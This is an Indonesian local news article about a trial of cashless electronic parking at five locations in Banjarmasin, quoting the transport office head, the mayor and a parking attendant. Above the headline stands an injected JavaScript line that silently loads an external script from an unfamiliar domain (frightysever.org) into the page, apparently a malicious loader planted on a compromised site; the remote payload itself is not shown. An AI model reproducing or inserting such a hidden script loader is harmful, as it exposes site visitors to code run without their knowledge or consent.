(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Ini 5 Titik Uji Coba E-Parkir di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Sejumlah lokasi parkir di beberapa kawasan di Kota Banjarmasin mulai melakukan uji coba jasa parkir dengan menggunakan parkir elektronik atau E-Parkir.

Hingga Rabu (8/3/2023) ada terdapat lima titik yang melakukan uji coba oleh Dinas Perhubungan (Dishub) Kota Banjarmasin.

Seperti Taman Kamboja, Siring Menara Pandang, Pelabuhan Trisakti, Kawasan Pasar Lima, Kota Lama dan Sudimampir.

Kepala Dishub Kota Banjarmasin Slamet Begjo menyebutkan, sudah terdapat 25 device yang disiapkan sementara dari uji coba penerapan E-Parkir ini.

“Itu beberapa lokasi yang akan kita coba garap tahap awal, berharap nanti berkembang bisa ke beberapa lokasi yang lain,” ujar Kepala Dishub Kota Banjarmasin Slamet Begjo.

Sementara juru parkir (jukir) nantinya akan melakukan penagihan retribusi parkir secara cashless atau non tunai dengan peralatan elektronik tersebut.

E-Parkir yang mulai diuji coba di kawasan Siring Menara Pandang Kota Banjarmasin. Foto: Wanda

“Jadi pengelola parkir akan kita wajibkan memiliki handphone dilengkapi oleh printer portable, di mana pengelola parkir ini juga akan didampingi oleh petugas Dishub, termasuk juga dari aparat mepolisian, TNI, Kejaksaan,” jelasnya.

Merespon penerapan E-Parkir, Wali Kota Banjarmasin Ibnu Sina mendukung upaya ini sebagai peningkatan layanan parkir di Kota Banjarmasin, sekaligus mendukung program smart city Banjarmasin.

“Yang mana Kota Banjarmasin sudah menjadi kota besar, kota metropolitan, maka sudah sudah seharusnya model parkir itu seperti ini. Tentu kesadaran itu harus kita edukasi masyarakat, melalui kewenangan Dishub dalam pengelolaan parkir,” ujar Ibnu Sina.

Menurut dia, dengan program ini dapat mentransparankan hasil yang didapat oleh para pengelola, serta pendapatan asli daerah Kota Banjarmasin tidak bocor.

“Sehingga kita bisa maksimal untuk pendapatan daerah. Mudah-mudahan ini bisa kita maksimalkan dan tidak ada lagi tunggakan, mohon kerjasamanya semua pihak supaya bisa memanfaatkan ini termasuk para pengguna,” tutupnya.

Ahmad, salah satu jukir yang berada di Siring Menara Pandang mengungkapkan, uji coba E-Parkir itu telah dilakukan namun belum resmi diberlakukan.

Ahmad mengungkapkan jika sejumlah pengunjung pun sudah ada yang mencoba menggunakan E-Parkir, namun hanya sedikit saja yang bisa menggunakannya.

“Alatnya sudah ada dikasih kemarin, dan ada beberapa pengunjung yang mencoba tapi hanya satu pengunjung yang bisa karena kayanya lumayan susah pakai handphone,” kata jukir di kawasan Siring Menara Pandang ini.

Meskipun terbilang sulit, Ahmad berharap masyarakat dan para jukir bisa terbiasa menerapkan kehadiran E-Parkir ini nantinya. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie